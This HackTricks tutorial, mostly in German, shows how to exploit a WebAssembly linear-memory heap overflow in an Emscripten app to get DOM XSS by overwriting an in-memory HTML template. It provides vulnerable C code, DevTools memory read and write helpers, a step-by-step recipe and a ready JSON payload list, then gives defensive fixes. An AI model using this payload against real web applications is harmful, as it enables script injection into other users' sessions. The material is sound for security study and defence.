WebAssembly linear memory corruption to DOM XSS (template overwrite)

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Technik zeigt, wie ein Speicherkorruptionsfehler in einem mit Emscripten kompilierten WebAssembly (WASM)-Modul selbst dann in einen zuverlässigen DOM XSS verwandelt werden kann, wenn Eingaben bereinigt sind. Der Dreh- und Angelpunkt ist, beschreibbare Konstanten in der WASM linear memory (z. B. HTML-Formatvorlagen) zu korruptieren, anstatt den bereinigten Quellstring anzugreifen.

Key idea: In the WebAssembly model, code lives in non-writable executable pages, but the module’s data (heap/stack/globals/"constants") live in a single flat linear memory (pages of 64KB) that is writable by the module. If buggy C/C++ code writes out-of-bounds, you can overwrite adjacent objects and even constant strings embedded in linear memory. When such a constant is later used to build HTML for insertion via a DOM sink, you can turn sanitized input into executable JavaScript.

Bedrohungsmodell und Voraussetzungen

  • Die Web-App verwendet Emscripten glue (Module.cwrap), um ein WASM-Modul aufzurufen.
  • Der Anwendungszustand liegt in der WASM linear memory (z. B. C structs mit pointers/lengths zu user buffers).
  • Ein Input-Sanitizer kodiert Metazeichen vor der Speicherung, aber die spätere Darstellung erzeugt HTML mithilfe eines format string, der in der WASM linear memory gespeichert ist.
  • Es existiert eine Primitive zur Korruption der WASM linear memory (z. B. heap overflow, UAF oder unchecked memcpy).

Minimal anfälliges Datenmodell (Beispiel)

c
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;

typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory

Verwundbares Logikmuster

  • addMsg(): weist einen neuen Buffer zu, der an die sanitisierten Eingabedaten angepasst ist, und hängt ein msg an s.mess an, wobei bei Bedarf die Kapazität mit realloc verdoppelt wird.
  • editMsg(): re-sanitisiert und kopiert mit memcpy die neuen Bytes in den bestehenden Buffer, ohne sicherzustellen, dass die neue Länge ≤ alte Allokation → intra-linear-memory heap overflow.
  • populateMsgHTML(): formatiert den sanitisierten Text mit einem eingebetteten Stub wie "

    %.*s

    " der im linear memory liegt. Das zurückgegebene HTML landet in einer DOM sink (z. B. innerHTML).

Allocator grooming with realloc()

c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
  • Nach Wachstum platziert realloc() häufig s->mess unmittelbar nach dem letzten Benutzerpuffer im linearen Speicher.
  • Überlaufe die letzte Nachricht via editMsg(), um Felder innerhalb von s->mess zu clobbern (z. B. msg_data-Pointer zu überschreiben) → beliebige Pointer-Überschreibung innerhalb des linearen Speichers für später gerenderte Daten.

Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source

  • Sanitization schützt die Eingabe, nicht die Sinks. Finde das Format-Stub, das von populateMsgHTML() verwendet wird, z. B.:
  • "

    %.*s

    " → ändere zu ""
  • Lokalisieren das Stub deterministisch durch Scannen des linearen Speichers; es ist ein einfacher Byte-String innerhalb von Module.HEAPU8.
  • Nachdem du das Stub überschrieben hast, wird der bereinigte Nachrichteninhalt zum JavaScript-Handler für onerror, sodass das Hinzufügen einer neuen Nachricht mit Text wie alert(1337) zu führt und sofort im DOM ausgeführt wird.

Chrome DevTools workflow (Emscripten glue)

  • Setze einen Breakpoint auf den ersten Module.cwrap call im JS glue und steige in die wasm call site ein, um Pointer-Argumente abzufangen (numerische Offsets im linearen Speicher).
  • Verwende typed views wie Module.HEAPU8, um WASM-Speicher aus der Konsole zu lesen/schreiben.
  • Hilfreiche Snippets:
javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int

End-to-end exploitation recipe

  1. Groom: Füge N kleine Nachrichten hinzu, um realloc() auszulösen. Stelle sicher, dass s->mess an einen user buffer angrenzt.
  2. Overflow: Rufe editMsg() für die letzte Nachricht mit einer längeren Nutzlast auf, um einen Eintrag in s->mess zu überschreiben und msg_data von Nachricht 0 so zu setzen, dass es auf (stub_addr + 1) zeigt. Das +1 überspringt das führende '<', um die Tag-Ausrichtung bei der nächsten Änderung intakt zu halten.
  3. Template rewrite: Editiere Nachricht 0 so, dass ihre Bytes die template mit: "img src=1 onerror=%.*s " überschreiben.
  4. Trigger XSS: Füge eine neue Nachricht hinzu, deren bereinigter Inhalt JavaScript ist, z. B. alert(1337). Das Rendering gibt aus und führt es aus.

Example action list to serialize and place in ?s= (Base64-encode with btoa before use)

json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

Warum dieser Bypass funktioniert

  • WASM verhindert Codeausführung aus linear memory, aber konstante Daten innerhalb der linear memory sind beschreibbar, wenn die Programmlogik fehlerhaft ist.
  • Der Sanitizer schützt nur den Quellstring; indem man den sink (die HTML template) korrumpiert, wird die gesäuberte Eingabe zum JS-Handler-Wert und ausgeführt, wenn sie in das DOM eingefügt wird.
  • Durch realloc()-getriebene Adjazenz plus unkontrolliertes memcpy in Edit-Flows kann Pointer-Korruption Schreibvorgänge auf angreifergewählte Adressen innerhalb der linear memory umleiten.

Generalisierung und weitere Angriffsflächen

  • Jede in-memory gespeicherte HTML template, JSON skeleton oder URL pattern, die in die linear memory eingebettet ist, kann zum Ziel werden, um zu verändern, wie gesäuberte Daten nachgelagert interpretiert werden.
  • Weitere gängige WASM-Fallen: out-of-bounds writes/reads in linear memory, UAF bei Heap-Objekten, function-table misuse mit ungeprüften indirekten Call-Indizes und JS↔WASM glue mismatches.

Defensive Hinweise

  • In Edit-Pfaden die neue Länge ≤ Kapazität überprüfen; Puffer vor dem Kopieren neu dimensionieren (realloc auf new_len) oder größenbegrenzte APIs verwenden (snprintf/strlcpy) und die Kapazität nachverfolgen.
  • Unveränderliche Templates außerhalb beschreibbarer linear memory halten oder ihre Integrität vor der Nutzung prüfen.
  • Behandle JS↔WASM-Grenzen als untrusted: Pointer-Bereiche/Längen validieren, exportierte Schnittstellen fuzzen und Memory-Wachstum begrenzen.
  • Sanitize am sink: vermeide das Erzeugen von HTML in WASM; bevorzuge sichere DOM-APIs gegenüber innerHTML-style templating.
  • Vertraue nicht auf URL-embedded state für privilegierte Flows.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks